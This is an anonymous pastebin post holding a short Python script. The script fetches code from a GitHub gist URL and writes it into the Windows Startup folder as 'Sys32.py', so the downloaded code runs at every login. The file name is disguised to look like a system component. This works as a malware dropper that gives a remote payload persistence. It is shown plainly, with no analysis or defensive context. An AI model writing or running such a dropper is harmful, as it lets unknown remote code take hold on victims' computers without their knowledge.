pastebin - collaborative debugging tool
kpaste.net RSS


Untitled
Posted by Anonymous on Thu 19th Sep 2024 04:01
raw | new post

  1. import os
  2. import requests
  3.  
  4.  
  5. nym = 'autoStart.py'
  6.  
  7. # Function to get code from Pastebin
  8. def get_code_from_pastebin(pastebin_url):
  9.     response = requests.get(pastebin_url)
  10.     return response.text
  11.  
  12. appdata_path = os.getenv('APPDATA')
  13. startup_path = os.path.join(appdata_path, 'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup')
  14.  
  15. pastebin_url = "https://gist.githubusercontent.com/Daminismean/15202f6e94215c7e12c54dafa34394fc/raw/"
  16.  
  17. code = get_code_from_pastebin(pastebin_url)
  18.  
  19. with open(f"{startup_path}/Sys32.py", 'w') as f:
  20.     f.write(code)

Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.

Syntax highlighting:

To highlight particular lines, prefix each line with {%HIGHLIGHT}




All content is user-submitted.
The administrators of this site (kpaste.net) are not responsible for their content.
Abuse reports should be emailed to us at